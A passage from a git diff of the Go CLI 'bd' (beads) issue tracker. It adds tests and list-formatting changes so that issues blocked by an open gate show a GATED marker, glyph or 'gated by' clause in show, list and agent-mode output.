extraEnv...) + stdout, stderr, err := runCommandBuffers(t, cmd) + if err != nil { + t.Fatalf("bd list %s failed: %v\nstdout:\n%s\nstderr:\n%s", strings.Join(args, " "), err, stdout.String(), stderr.String()) + } + return stdout.String() +} + +// listRowFor returns the `bd list` row that names id, in any of the three row +// shapes: pretty ("○ gd-1 P2 Title"), compact ("○ gd-1 [P2] ...") and agent +// mode ("gd-1: Title (...)"). +func listRowFor(t *testing.T, out, id string) string { + t.Helper() + for _, line := range strings.Split(out, "\n") { + if strings.Contains(line, id+" ") || strings.Contains(line, id+"[") || strings.Contains(line, id+":") { + return line + } + } + t.Fatalf("no row for %s in bd list output:\n%s", id, out) + return "" +} + +// TestEmbeddedGatedRendering pins the derived GATED decoration on the human +// surfaces: an issue an OPEN gate blocks is excluded from `bd ready`, so +// `bd show` and `bd list` must say so rather than rendering a plain OPEN row. +func TestEmbeddedGatedRendering(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "gd") + + target := bdCreate(t, bd, dir, "Gated target", "-p", "2") + gate := bdGateCreateIssue(t, bd, dir, "--blocks", target.ID, "--reason", "Need design review") + + t.Run("ready_excludes_the_gated_issue", func(t *testing.T) { + out, err := bdRunWithFlockRetry(t, bd, dir, "ready") + if err != nil { + t.Fatalf("bd ready failed: %v\n%s", err, out) + } + if strings.Contains(string(out), target.ID) { + t.Fatalf("bd ready listed gated issue %s (the premise of this test):\n%s", target.ID, out) + } + }) + + t.Run("show_header_and_meta_say_gated", func(t *testing.T) { + out := bdShowRaw(t, bd, dir, target.ID) + t.Logf("bd show %s:\n%s", target.ID, out) + if !strings.Contains(out, "· GATED]") { + t.Errorf("show header missing GATED marker:\n%s", out) + } + wantLine := "Gated by: " + gate.ID + " (human: Need design review)" + if !strings.Contains(out, wantLine) { + t.Errorf("show meta missing %q:\n%s", wantLine, out) + } + }) + + t.Run("show_json_carries_gated_by", func(t *testing.T) { + details := bdShowDetails(t, bd, dir, target.ID) + raw, ok := details["gated_by"] + if !ok { + t.Fatalf("show --json has no gated_by field: %v", keysOf(details)) + } + entries, ok := raw.([]any) + if !ok || len(entries) != 1 { + t.Fatalf("gated_by = %#v, want one entry", raw) + } + entry, ok := entries[0].(map[string]any) + if !ok { + t.Fatalf("gated_by[0] = %#v, want an object", entries[0]) + } + if entry["id"] != gate.ID { + t.Errorf("gated_by[0].id = %v, want %s", entry["id"], gate.ID) + } + if entry["type"] != "human" { + t.Errorf("gated_by[0].type = %v, want human", entry["type"]) + } + if entry["reason"] != "Need design review" { + t.Errorf("gated_by[0].reason = %v, want the gate's reason", entry["reason"]) + } + // Additive only: the fields bd show --json already published are unchanged. + for _, key := range []string{"id", "title", "status", "priority", "issue_type"} { + if _, ok := details[key]; !ok { + t.Errorf("show --json lost pre-existing field %q", key) + } + } + if details["status"] != "open" { + t.Errorf("stored status = %v, want open (the decoration is derived, not stored)", details["status"]) + } + }) + + t.Run("list_row_carries_the_gated_glyph", func(t *testing.T) { + out := bdList(t, bd, dir) + t.Logf("bd list:\n%s", out) + row := listRowFor(t, out, target.ID) + if !strings.HasPrefix(strings.TrimSpace(row), ui.StatusIconGated) { + t.Errorf("list row for %s does not lead with the gated glyph %q:\n%s", + target.ID, ui.StatusIconGated, row) + } + }) + + // --flat leaves the tree view, and with it the whole-rig edge map the tree + // already had: this arm is what exercises gatedIssueIDs' own batched + // dependency read. + t.Run("flat_list_row_carries_the_gated_glyph", func(t *testing.T) { + out := bdList(t, bd, dir, "--flat") + t.Logf("bd list --flat:\n%s", out) + row := listRowFor(t, out, target.ID) + if !strings.HasPrefix(strings.TrimSpace(row), ui.StatusIconGated) { + t.Errorf("flat list row for %s does not lead with the gated glyph %q:\n%s", + target.ID, ui.StatusIconGated, row) + } + }) + + t.Run("deferred_and_gated_show_both_markers", func(t *testing.T) { + deferred := bdCreate(t, bd, dir, "Deferred and gated", "-p", "1") + bdUpdate(t, bd, dir, deferred.ID, "--defer", "2099-01-15") + dgate := bdGateCreateIssue(t, bd, dir, "--blocks", deferred.ID, "--type", "gh:pr", "--await-id", "42") + + out := bdShowRaw(t, bd, dir, deferred.ID) + t.Logf("bd show %s:\n%s", deferred.ID, out) + if !strings.Contains(out, "Deferred: 2099-01-15") { + t.Errorf("show lost the Deferred line:\n%s", out) + } + wantLine := "Gated by: " + dgate.ID + " (gh:pr, awaiting 42)" + if !strings.Contains(out, wantLine) { + t.Errorf("show meta missing %q:\n%s", wantLine, out) + } + if !strings.Contains(out, "· GATED]") { + t.Errorf("show header missing GATED marker on a deferred issue:\n%s", out) + } + + listOut := bdList(t, bd, dir, "--status", "deferred") + row := listRowFor(t, listOut, deferred.ID) + if !strings.HasPrefix(strings.TrimSpace(row), ui.StatusIconGated) { + t.Errorf("deferred+gated list row does not lead with %q:\n%s", ui.StatusIconGated, row) + } + }) + + // BLOCKER 1 (opus-adv): waits-for is NOT the status rule. The is_blocked + // recompute sends that leg through waitsForGateBlockedSQL, which blocks + // only on an OPEN parent-child child of the target (or an also_blocks + // spawner), so a plain waits-for onto an open childless gate leaves the + // dependent IN `bd ready` — and a decoration here would contradict it. + t.Run("waits_for_onto_a_gate_is_not_decorated", func(t *testing.T) { + subject := bdCreate(t, bd, dir, "Waits-for subject", "-p", "2") + wgate := bdCreate(t, bd, dir, "Bare gate", "-p", "2", "-t", "gate") + if out, err := bdRunWithFlockRetry(t, bd, dir, "dep", "add", subject.ID, wgate.ID, "-t", "waits-for"); err != nil { + t.Fatalf("bd dep add waits-for failed: %v\n%s", err, out) + } + + out, err := bdRunWithFlockRetry(t, bd, dir, "ready") + if err != nil { + t.Fatalf("bd ready failed: %v\n%s", err, out) + } + if !strings.Contains(string(out), subject.ID) { + t.Fatalf("bd ready dropped %s over a waits-for edge — the premise of this case is that it does not:\n%s", subject.ID, out) + } + + showOut := bdShowRaw(t, bd, dir, subject.ID) + if strings.Contains(showOut, "GATED") || strings.Contains(showOut, "Gated by:") { + t.Errorf("waits-for edge rendered a gate on bd show, while bd ready lists the bead:\n%s", showOut) + } + if details := bdShowDetails(t, bd, dir, subject.ID); details["gated_by"] != nil { + t.Errorf("waits-for edge put gated_by on the detail view: %#v", details["gated_by"]) + } + for _, listArgs := range [][]string{nil, {"--flat"}} { + row := listRowFor(t, bdList(t, bd, dir, listArgs...), subject.ID) + if strings.Contains(row, ui.StatusIconGated) { + t.Errorf("list %v decorated a waits-for edge:\n%s", listArgs, row) + } + } + }) + + // BLOCKER 2 (opus-adv), subject half: unmarkAllBlockedSQL forces + // is_blocked=0 for a CLOSED subject, so `bd ready` never withholds one on + // a gate's account and no surface may print [CLOSED · GATED]. + t.Run("closed_subject_renders_no_gate", func(t *testing.T) { + subject := bdCreate(t, bd, dir, "Closed under a gate", "-p", "2") + cgate := bdGateCreateIssue(t, bd, dir, "--blocks", subject.ID, "--reason", "hold") + if out, err := bdRunWithFlockRetry(t, bd, dir, "close", subject.ID, "--force", "-r", "done anyway"); err != nil { + t.Fatalf("bd close --force failed: %v\n%s", err, out) + } + + showOut := bdShowRaw(t, bd, dir, subject.ID) + t.Logf("bd show %s:\n%s", subject.ID, showOut) + if strings.Contains(showOut, "GATED") { + t.Errorf("closed subject rendered a GATED marker (gate %s still open):\n%s", cgate.ID, showOut) + } + if strings.Contains(showOut, "Gated by:") { + t.Errorf("closed subject rendered a Gated by line:\n%s", showOut) + } + if details := bdShowDetails(t, bd, dir, subject.ID); details["gated_by"] != nil { + t.Errorf("closed subject published gated_by: %#v", details["gated_by"]) + } + row := listRowFor(t, bdList(t, bd, dir, "--status", "closed"), subject.ID) + if strings.Contains(row, ui.StatusIconGated) { + t.Errorf("closed list row carries the gated glyph:\n%s", row) + } + }) + + // Same clause, pinned half — and NOTE 5: the pin survives, because a + // pinned subject is never gated in the first place. + t.Run("pinned_subject_renders_no_gate_and_keeps_the_pin", func(t *testing.T) { + subject := bdCreate(t, bd, dir, "Pinned under a gate", "-p", "2") + bdGateCreateIssue(t, bd, dir, "--blocks", subject.ID, "--reason", "hold") + if out, err := bdRunWithFlockRetry(t, bd, dir, "update", subject.ID, "--status", "pinned"); err != nil { + t.Fatalf("bd update --status pinned failed: %v\n%s", err, out) + } + + showOut := bdShowRaw(t, bd, dir, subject.ID) + t.Logf("bd show %s:\n%s", subject.ID, showOut) + if strings.Contains(showOut, "GATED") || strings.Contains(showOut, "Gated by:") { + t.Errorf("pinned subject rendered a gate:\n%s", showOut) + } + if details := bdShowDetails(t, bd, dir, subject.ID); details["gated_by"] != nil { + t.Errorf("pinned subject published gated_by: %#v", details["gated_by"]) + } + row := listRowFor(t, bdList(t, bd, dir, "--status", "pinned"), subject.ID) + if strings.Contains(row, ui.StatusIconGated) { + t.Errorf("pinned row carries the gated glyph instead of the pin:\n%s", row) + } + if !strings.Contains(row, ui.StatusIconPinned) { + t.Errorf("pinned row lost the pin %q:\n%s", ui.StatusIconPinned, row) + } + }) + + // SHOULD 3 (opus-adv): agent mode has no glyph column, and every + // CLAUDE_CODE seat is in it. The gate rides the parenthetical instead. + t.Run("agent_mode_line_names_the_gate", func(t *testing.T) { + out := bdListEnv(t, bd, dir, []string{"CLAUDE_CODE=1"}, "--flat") + t.Logf("CLAUDE_CODE=1 bd list --flat:\n%s", out) + row := listRowFor(t, out, target.ID) + if !strings.Contains(row, "gated by: "+gate.ID) { + t.Errorf("agent-mode row does not name the gate %s:\n%s", gate.ID, row) + } + }) + + t.Run("resolved_gate_renders_nothing", func(t *testing.T) { + if out, err := bdRunWithFlockRetry(t, bd, dir, "gate", "resolve", gate.ID); err != nil { + t.Fatalf("bd gate resolve failed: %v\n%s", err, out) + } + + out := bdShowRaw(t, bd, dir, target.ID) + if strings.Contains(out, "GATED") || strings.Contains(out, "Gated by:") { + t.Errorf("a resolved gate still renders on bd show:\n%s", out) + } + + details := bdShowDetails(t, bd, dir, target.ID) + if raw, ok := details["gated_by"]; ok { + t.Errorf("gated_by present after the gate closed: %#v", raw) + } + + for _, listArgs := range [][]string{nil, {"--flat"}} { + listOut := bdList(t, bd, dir, listArgs...) + row := listRowFor(t, listOut, target.ID) + if strings.Contains(row, ui.StatusIconGated) { + t.Errorf("list %v row still carries the gated glyph after resolve:\n%s", listArgs, row) + } + } + + listOut := bdList(t, bd, dir) + row := listRowFor(t, listOut, target.ID) + if strings.Contains(row, ui.StatusIconGated) { + t.Errorf("list row still carries the gated glyph after resolve:\n%s", row) + } + if !strings.HasPrefix(strings.TrimSpace(row), ui.StatusIconOpen) { + t.Errorf("ungated row should lead with %q:\n%s", ui.StatusIconOpen, row) + } + }) + + // A gate can be a wisp — `bd mol wisp` clones a formula's gates as wisps, + // held to a wisp step by a blocks edge. The direct route's readers + // partition the planes; this pins that, beside the proxied twin of this + // case in TestProxiedServerGatedRendering, whose hydrator once did not. + t.Run("wisp_gate_decorates_the_wisp_row", func(t *testing.T) { + subject := bdCreate(t, bd, dir, "Wisp step", "-p", "2", "--ephemeral") + wgate := bdCreate(t, bd, dir, "Wisp gate", "-p", "2", "-t", "gate", "--ephemeral") + if out, err := bdRunWithFlockRetry(t, bd, dir, "dep", "add", subject.ID, wgate.ID, "-t", "blocks"); err != nil { + t.Fatalf("bd dep add failed: %v\n%s", err, out) + } + + showOut := bdShowRaw(t, bd, dir, subject.ID) + t.Logf("bd show %s:\n%s", subject.ID, showOut) + if !strings.Contains(showOut, "· GATED]") { + t.Fatalf("show does not call the wisp gated, the premise of this case:\n%s", showOut) + } + + listOut := bdList(t, bd, dir, "--include-ephemeral") + t.Logf("bd list --include-ephemeral:\n%s", listOut) + if row := listRowFor(t, listOut, subject.ID); !strings.HasPrefix(strings.TrimSpace(row), ui.StatusIconGated) { + t.Errorf("pretty wisp row does not lead with %q:\n%s", ui.StatusIconGated, row) + } + + flatOut := bdList(t, bd, dir, "--flat", "--include-ephemeral") + t.Logf("bd list --flat --include-ephemeral:\n%s", flatOut) + row := listRowFor(t, flatOut, subject.ID) + if !strings.Contains(row, ui.StatusIconGated) { + t.Errorf("compact wisp row missing %q:\n%s", ui.StatusIconGated, row) + } + if !strings.Contains(row, "gated by: "+wgate.ID) { + t.Errorf("compact wisp row does not name the wisp gate %s:\n%s", wgate.ID, row) + } + + agentOut := bdListEnv(t, bd, dir, []string{"CLAUDE_CODE=1"}, "--flat", "--include-ephemeral") + t.Logf("CLAUDE_CODE=1 bd list --flat --include-ephemeral:\n%s", agentOut) + if row := listRowFor(t, agentOut, subject.ID); !strings.Contains(row, "gated by: "+wgate.ID) { + t.Errorf("agent-mode wisp row does not name the wisp gate %s:\n%s", wgate.ID, row) + } + }) +} + +func keysOf(m map[string]any) []string { + out := make([]string, 0, len(m)) + for k := range m { + out = append(out, k) + } + return out +} diff --git a/cmd/bd/gated_render_proxied_integration_test.go b/cmd/bd/gated_render_proxied_integration_test.go new file mode 100644 index 000000000..dd1c87c03 --- /dev/null +++ b/cmd/bd/gated_render_proxied_integration_test.go @@ -0,0 +1,166 @@ +//go:build cgo + +package main + +import ( + "strings" + "testing" + + "github.com/steveyegge/beads/internal/ui" +) + +// TestProxiedServerGatedRendering is the SHOULD-4 half of wy-j2upyy: the +// proxied-server TEXT routes must render the same derived GATED decoration the +// direct routes do. +// +// The proxied --json routes already carried it (uow issue_reader → +// workapi.BuildIssueDetails), so without this the SAME bead read two ways from +// the SAME server disagrees: gated_by in the JSON, a plain OPEN row in the +// terminal. Whole constellations run proxied — it is the default for a shared +// dolt server — so "upstream ships it" and "the seat that filed the bug sees +// it" are not the same statement until this passes. +func TestProxiedServerGatedRendering(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + + p := newSharedProxiedProject(t, bd, "pgd") + target := bdProxiedCreate(t, bd, p.dir, "Proxied gated target", "-p", "2") + + out, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, + "gate", "create", "--type=human", "--blocks", target.ID, "--reason", "Need design review") + if err != nil { + t.Fatalf("gate create failed: %v\nstderr:\n%s", err, stderr) + } + gateID := parseCreatedGateID(t, out) + + t.Run("show_text_says_gated", func(t *testing.T) { + showOut := bdProxiedShowRaw(t, bd, p.dir, target.ID) + t.Logf("bd show %s:\n%s", target.ID, showOut) + if !strings.Contains(showOut, "· GATED]") { + t.Errorf("proxied show header missing the GATED marker:\n%s", showOut) + } + wantLine := "Gated by: " + gateID + " (human: Need design review)" + if !strings.Contains(showOut, wantLine) { + t.Errorf("proxied show meta missing %q:\n%s", wantLine, showOut) + } + }) + + // The route that was already right, kept beside the one that was not: the + // text and the JSON are two readings of one bead and must agree. + t.Run("show_json_still_carries_gated_by", func(t *testing.T) { + details := bdProxiedShowDetailsFirst(t, bd, p.dir, target.ID) + raw, ok := details["gated_by"] + if !ok { + t.Fatalf("proxied show --json has no gated_by") + } + entries, ok := raw.([]any) + if !ok || len(entries) != 1 { + t.Fatalf("gated_by = %#v, want one entry", raw) + } + entry, _ := entries[0].(map[string]any) + if entry["id"] != gateID { + t.Errorf("gated_by[0].id = %v, want %s", entry["id"], gateID) + } + }) + + t.Run("pretty_list_row_carries_the_glyph", func(t *testing.T) { + listOut := bdProxiedList(t, bd, p) + t.Logf("bd list:\n%s", listOut) + row := listRowFor(t, listOut, target.ID) + if !strings.HasPrefix(strings.TrimSpace(row), ui.StatusIconGated) { + t.Errorf("proxied pretty row does not lead with %q:\n%s", ui.StatusIconGated, row) + } + }) + + t.Run("compact_list_row_carries_the_glyph_and_names_the_gate", func(t *testing.T) { + listOut := bdProxiedList(t, bd, p, "--flat") + t.Logf("bd list --flat:\n%s", listOut) + row := listRowFor(t, listOut, target.ID) + if !strings.Contains(row, ui.StatusIconGated) { + t.Errorf("proxied compact row missing %q:\n%s", ui.StatusIconGated, row) + } + if !strings.Contains(row, "gated by: "+gateID) { + t.Errorf("proxied compact row does not name the gate:\n%s", row) + } + }) + + t.Run("agent_mode_line_names_the_gate", func(t *testing.T) { + stdout, stderr, err := bdProxiedRunBuffersWithEnv(t, bd, p.dir, []string{"CLAUDE_CODE=1"}, "list", "--flat") + if err != nil { + t.Fatalf("bd list --flat failed: %v\nstderr:\n%s", err, stderr) + } + t.Logf("CLAUDE_CODE=1 bd list --flat:\n%s", stdout) + row := listRowFor(t, stdout, target.ID) + if !strings.Contains(row, "gated by: "+gateID) { + t.Errorf("proxied agent row does not name the gate %s:\n%s", gateID, row) + } + }) + + // The subject clause reaches the proxied routes through the same helper, + // so a closed bead is undecorated here too. + t.Run("closed_subject_renders_no_gate", func(t *testing.T) { + closedTarget := bdProxiedCreate(t, bd, p.dir, "Proxied closed under a gate", "-p", "2") + if _, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, + "gate", "create", "--type=human", "--blocks", closedTarget.ID, "--reason", "hold"); err != nil { + t.Fatalf("gate create failed: %v\nstderr:\n%s", err, stderr) + } + if _, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, "close", closedTarget.ID, "--force", "-r", "done anyway"); err != nil { + t.Fatalf("bd close --force failed: %v\nstderr:\n%s", err, stderr) + } + + showOut := bdProxiedShowRaw(t, bd, p.dir, closedTarget.ID) + t.Logf("bd show %s:\n%s", closedTarget.ID, showOut) + if strings.Contains(showOut, "GATED") || strings.Contains(showOut, "Gated by:") { + t.Errorf("proxied show decorated a closed subject:\n%s", showOut) + } + row := listRowFor(t, bdProxiedList(t, bd, p, "--flat", "--status", "closed"), closedTarget.ID) + if strings.Contains(row, ui.StatusIconGated) { + t.Errorf("proxied closed row carries the gated glyph:\n%s", row) + } + }) + + // A gate can be a wisp — `bd mol wisp` clones a formula's gates as wisps, + // held to a wisp step by a blocks edge. The proxied list once hydrated gate + // candidates from the issues table only, so this row rendered plain OPEN + // while `bd show` and `bd ready` called the same wisp gated. + t.Run("wisp_gate_decorates_the_wisp_row", func(t *testing.T) { + subject := bdProxiedCreate(t, bd, p.dir, "Proxied wisp step", "-p", "2", "--ephemeral") + wgate := bdProxiedCreate(t, bd, p.dir, "Proxied wisp gate", "-p", "2", "-t", "gate", "--ephemeral") + if _, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, "dep", "add", subject.ID, wgate.ID, "-t", "blocks"); err != nil { + t.Fatalf("bd dep add failed: %v\nstderr:\n%s", err, stderr) + } + + // The premise: the read that was already wisp-aware calls it gated. + showOut := bdProxiedShowRaw(t, bd, p.dir, subject.ID) + t.Logf("bd show %s:\n%s", subject.ID, showOut) + if !strings.Contains(showOut, "· GATED]") { + t.Fatalf("proxied show does not call the wisp gated, the premise of this case:\n%s", showOut) + } + + listOut := bdProxiedList(t, bd, p, "--include-ephemeral") + t.Logf("bd list --include-ephemeral:\n%s", listOut) + if row := listRowFor(t, listOut, subject.ID); !strings.HasPrefix(strings.TrimSpace(row), ui.StatusIconGated) { + t.Errorf("proxied pretty wisp row does not lead with %q:\n%s", ui.StatusIconGated, row) + } + + flatOut := bdProxiedList(t, bd, p, "--flat", "--include-ephemeral") + t.Logf("bd list --flat --include-ephemeral:\n%s", flatOut) + row := listRowFor(t, flatOut, subject.ID) + if !strings.Contains(row, ui.StatusIconGated) { + t.Errorf("proxied compact wisp row missing %q:\n%s", ui.StatusIconGated, row) + } + if !strings.Contains(row, "gated by: "+wgate.ID) { + t.Errorf("proxied compact wisp row does not name the wisp gate %s:\n%s", wgate.ID, row) + } + + stdout, stderr, err := bdProxiedRunBuffersWithEnv(t, bd, p.dir, []string{"CLAUDE_CODE=1"}, "list", "--flat", "--include-ephemeral") + if err != nil { + t.Fatalf("bd list --flat --include-ephemeral failed: %v\nstderr:\n%s", err, stderr) + } + t.Logf("CLAUDE_CODE=1 bd list --flat --include-ephemeral:\n%s", stdout) + if row := listRowFor(t, stdout, subject.ID); !strings.Contains(row, "gated by: "+wgate.ID) { + t.Errorf("proxied agent wisp row does not name the wisp gate %s:\n%s", wgate.ID, row) + } + }) +} diff --git a/cmd/bd/gated_test.go b/cmd/bd/gated_test.go new file mode 100644 index 000000000..ec4fa653b --- /dev/null +++ b/cmd/bd/gated_test.go @@ -0,0 +1,77 @@ +package main + +import ( + "context" + "errors" + "reflect" + "testing" + + "github.com/steveyegge/beads/internal/storage/domain" + "github.com/steveyegge/beads/internal/types" +) + +// planeIssueUC answers the two id-set reads proxiedGateCandidates makes and +// nothing else, each with only the rows its own table holds: GetIssuesByIDs +// the issues, GetWispsByIDs the wisps, as the domain use case does. +type planeIssueUC struct { + domain.IssueUseCase // any other method is a nil call: the hydrator must not reach one + issues, wisps []*types.Issue + wispsErr error +} + +func (s planeIssueUC) GetIssuesByIDs(context.Context, []string) ([]*types.Issue, error) { + return s.issues, nil +} + +func (s planeIssueUC) GetWispsByIDs(context.Context, []string) ([]*types.Issue, error) { + if s.wispsErr != nil { + return nil, s.wispsErr + } + return s.wisps, nil +} + +// TestProxiedGatedIssueIDsHydratesBothPlanes pins the proxied hydrator to both +// tables. The use case's GetIssuesByIDs reads the issues table only, so a wisp +// gate — the kind `bd mol wisp` clones from a formula — once hydrated to +// nothing, and its step listed undecorated while `bd show` called it GATED. +// +// The unit of work is lookupOnlyUOW: the dependency rows are preloaded, so a +// call to its nil DependencyUseCase would be a panic, not a silent pass. +func TestProxiedGatedIssueIDsHydratesBothPlanes(t *testing.T) { + step := &types.Issue{ID: "bd-step", Status: types.StatusOpen} + wispStep := &types.Issue{ID: "bd-wisp-step", Status: types.StatusOpen, Ephemeral: true} + gate := openGate("bd-gate", "human", "Need design review", "") + wispGate := openGate("bd-wisp-gate", "", "", "") + wispGate.Ephemeral = true + deps := map[string][]*types.Dependency{ + step.ID: {{IssueID: step.ID, DependsOnID: gate.ID, Type: types.DepBlocks}}, + wispStep.ID: {{IssueID: wispStep.ID, DependsOnID: wispGate.ID, Type: types.DepBlocks}}, + } + page := []*types.Issue{step, wispStep} + + t.Run("each_plane_decorates_its_own_rows", func(t *testing.T) { + uw := lookupOnlyUOW{issues: planeIssueUC{ + issues: []*types.Issue{gate}, + wisps: []*types.Issue{wispGate}, + }} + got := proxiedGatedIssueIDs(context.Background(), uw, page, deps) + want := map[string][]string{step.ID: {gate.ID}, wispStep.ID: {wispGate.ID}} + if !reflect.DeepEqual(got, want) { + t.Errorf("gated = %v, want %v", got, want) + } + }) + + // A failed wisps read costs the wisp gates their decoration, never the + // durable gates the issues read already found. + t.Run("failed_wisps_read_keeps_the_durable_decoration", func(t *testing.T) { + uw := lookupOnlyUOW{issues: planeIssueUC{ + issues: []*types.Issue{gate}, + wispsErr: errors.New("wisps read failed"), + }} + got := proxiedGatedIssueIDs(context.Background(), uw, page, deps) + want := map[string][]string{step.ID: {gate.ID}} + if !reflect.DeepEqual(got, want) { + t.Errorf("gated = %v, want %v", got, want) + } + }) +} diff --git a/cmd/bd/list.go b/cmd/bd/list.go index 7c247ee97..9d3f9c6e5 100644 --- a/cmd/bd/list.go +++ b/cmd/bd/list.go @@ -326,7 +326,8 @@ func runListCore(cmd *cobra.Command, _ []string) error { return HandleError("loading dependencies for --deps: %v", depErr) } // Hierarchical --parent walks use an unlimited per-level query, so the tree is never page-truncated. - displayPrettyListWithDepsMode(treeIssues, false, allDeps, in.depsMode, false, in.ReadyFlag, in.Status, in.SortBy, in.Reverse) + displayPrettyListWithDepsMode(treeIssues, false, allDeps, in.depsMode, false, in.ReadyFlag, in.Status, in.SortBy, in.Reverse, + gatedIssueIDs(ctx, activeStore, treeIssues, allDeps)) printSkipLabelsFooter(in.SkipLabels) return nil } @@ -335,7 +336,11 @@ func runListCore(cmd *cobra.Command, _ []string) error { if depErr != nil && in.depsMode != "" { return HandleError("loading dependencies for --deps: %v", depErr) } - displayPrettyListWithDepsMode(issues, false, allDeps, in.depsMode, truncated, in.ReadyFlag, in.Status, in.SortBy, in.Reverse) + // allDeps is already the whole rig's edge map, so the gate decoration + // adds ONE call here — the hydration of the gate candidates it names, + // itself an id-set read of a few round trips. Per page, never per row. + displayPrettyListWithDepsMode(issues, false, allDeps, in.depsMode, truncated, in.ReadyFlag, in.Status, in.SortBy, in.Reverse, + gatedIssueIDs(ctx, activeStore, issues, allDeps)) printTruncationHint(truncated, in.effectiveLimit) printSkipLabelsFooter(in.SkipLabels) return nil @@ -367,11 +372,19 @@ func runListCore(cmd *cobra.Command, _ []string) error { // between the two CALLERS, recorded for the owner in AMBIGUITIES.md // (A-blk-1) rather than converged here. blocking := annotateListBlocking(ctx, activeStore, issueIDs) + // Batched by id set, never per row — see gatesByIssueID. --long and + // --format render no gate (GatedBy lives on types.IssueDetails, which a + // --format template cannot reach), so neither pays for the reads; agent + // and compact mode both spend them and both render them. + var gated map[string][]string + if ui.IsAgentMode() || !in.longFormat { + gated = gatedIssueIDs(ctx, activeStore, issues, nil) + } var buf strings.Builder if ui.IsAgentMode() { for _, issue := range issues { - formatAgentIssue(&buf, issue, blocking.blockedBy[issue.ID], blocking.blocks[issue.ID], blocking.parent[issue.ID]) + formatAgentIssue(&buf, issue, blocking.blockedBy[issue.ID], blocking.blocks[issue.ID], blocking.parent[issue.ID], gated[issue.ID]) } fmt.Print(buf.String()) //nolint:forbidigo // Agent output is outside the --format contract. printTruncationHint(truncated, in.effectiveLimit) @@ -385,7 +398,7 @@ func runListCore(cmd *cobra.Command, _ []string) error { } else { for _, issue := range issues { labels := labelsMap[issue.ID] - formatIssueCompact(&buf, issue, labels, blocking.blockedBy[issue.ID], blocking.blocks[issue.ID], blocking.parent[issue.ID]) + formatIssueCompact(&buf, issue, labels, blocking.blockedBy[issue.ID], blocking.blocks[issue.ID], blocking.parent[issue.ID], gated[issue.ID]) } } diff --git a/cmd/bd/list_footer_counts_test.go b/cmd/bd/list_footer_counts_test.go index e4092876d..e478dcacb 100644 --- a/cmd/bd/list_footer_counts_test.go +++ b/cmd/bd/list_footer_counts_test.go @@ -257,7 +257,7 @@ func TestDisplayPrettyListWithDepsReadyExplicitStatusFooter(t *testing.T) { } depsOut := captureStdout(t, func() error { - displayPrettyListWithDepsMode(issues, false, nil, "scheduling", false, true, "in_progress", "", false) + displayPrettyListWithDepsMode(issues, false, nil, "scheduling", false, true, "in_progress", "", false, nil) return nil }) if strings.Contains(depsOut, "open only") || strings.Contains(depsOut, "excludes in_progress") { diff --git a/cmd/bd/list_format.go b/cmd/bd/list_format.go index 9c29ec946..6377ffd9b 100644 --- a/cmd/bd/list_format.go +++ b/cmd/bd/list_format.go @@ -43,8 +43,30 @@ func renderStatusIcon(status types.Status) string { // formatPrettyIssue formats a single issue for pretty output // Uses semantic colors: status icon colored, priority P0/P1 colored, rest neutral func formatPrettyIssue(issue *types.Issue) string { + return formatPrettyIssueGated(issue, nil) +} + +// formatPrettyIssueGated is formatPrettyIssue with the derived gate marker +// (wy-j2upyy): when an open gate blocks the issue, the glyph column carries +// ⊘ instead of the stored status's icon. The rest of the row is untouched, +// and the stored status is untouched — this is a decoration over the same +// predicate `bd ready` filters on, so the listing stops disagreeing with it. +// +// The marker OUTRANKS the status icon, including ❄: one column can hold one +// glyph, and of the two reasons the work cannot start, the gate is the one a +// reader cannot discover from the row's own fields. It never outranks 📌, +// because types.SubjectCanBeGated refuses a pinned subject outright — a pinned +// bead is out of `bd ready` on its own account, not the gate's. +// +// gatedBy is the gate ids the ONE predicate selected (gatesByIssueID); the +// SubjectCanBeGated re-check is the same clause, not a second rule, and is +// here so a caller that hands over a stale map cannot invent a decoration. +func formatPrettyIssueGated(issue *types.Issue, gatedBy []string) string { // Use shared helpers from ui package statusIcon := ui.RenderStatusIcon(string(issue.Status)) + if len(gatedBy) > 0 && types.SubjectCanBeGated(issue) { + statusIcon = ui.StatusBlockedStyle.Render(ui.StatusIconGated) + } priorityTag := renderPriorityTag(issue.Priority) // Type badge - only show for notable types @@ -132,9 +154,15 @@ func formatIssueLong(buf *strings.Builder, issue *types.Issue, labels []string, } // formatAgentIssue formats a single issue in ultra-compact agent mode format -// Output: "ID: Title" with optional dependency info "(parent: X, blocked by: Y, blocks: Z)" -func formatAgentIssue(buf *strings.Builder, issue *types.Issue, blockedBy, blocks []string, parent string) { - depInfo := formatDependencyInfo(blockedBy, blocks, parent) +// Output: "ID: Title" with optional dependency info +// "(parent: X, blocked by: Y, blocks: Z, gated by: G)" +// +// Agent mode has no glyph column, so the gate rides in the parenthetical the +// line already carries (wy-j2upyy). It is the seat that most needs it: +// ui.IsAgentMode() is true whenever CLAUDE_CODE is set, and an agent reading a +// plain row cannot tell startable work from work a human has to release. +func formatAgentIssue(buf *strings.Builder, issue *types.Issue, blockedBy, blocks []string, parent string, gatedBy []string) { + depInfo := formatDependencyInfo(blockedBy, blocks, parent, gatedBy) if depInfo != "" { buf.WriteString(fmt.Sprintf("%s: %s %s\n", issue.ID, issue.Title, depInfo)) } else { @@ -144,9 +172,15 @@ func formatAgentIssue(buf *strings.Builder, issue *types.Issue, blockedBy, block // formatDependencyInfo formats dependency info for list output. // Parent-child deps are shown as "parent: X" (structural), separate from "blocked by" (blocking). (bd-hcxu) -// Returns "(parent: X, blocked by: Y, blocks: Z)" or "" if no dependencies. -func formatDependencyInfo(blockedBy, blocks []string, parent string) string { - if len(blockedBy) == 0 && len(blocks) == 0 && parent == "" { +// Returns "(parent: X, blocked by: Y, blocks: Z, gated by: G)" or "" if no dependencies. +// +// A gate is also a blocker, so its id appears under BOTH "blocked by" and +// "gated by". The repetition is the point: "blocked by" says what to wait on, +// "gated by" says which of those is a gate — work nobody can start by doing +// more work. The clause is present exactly when the ONE predicate selected a +// gate (types.GateIsHolding + types.SubjectCanBeGated). +func formatDependencyInfo(blockedBy, blocks []string, parent string, gatedBy []string) string { + if 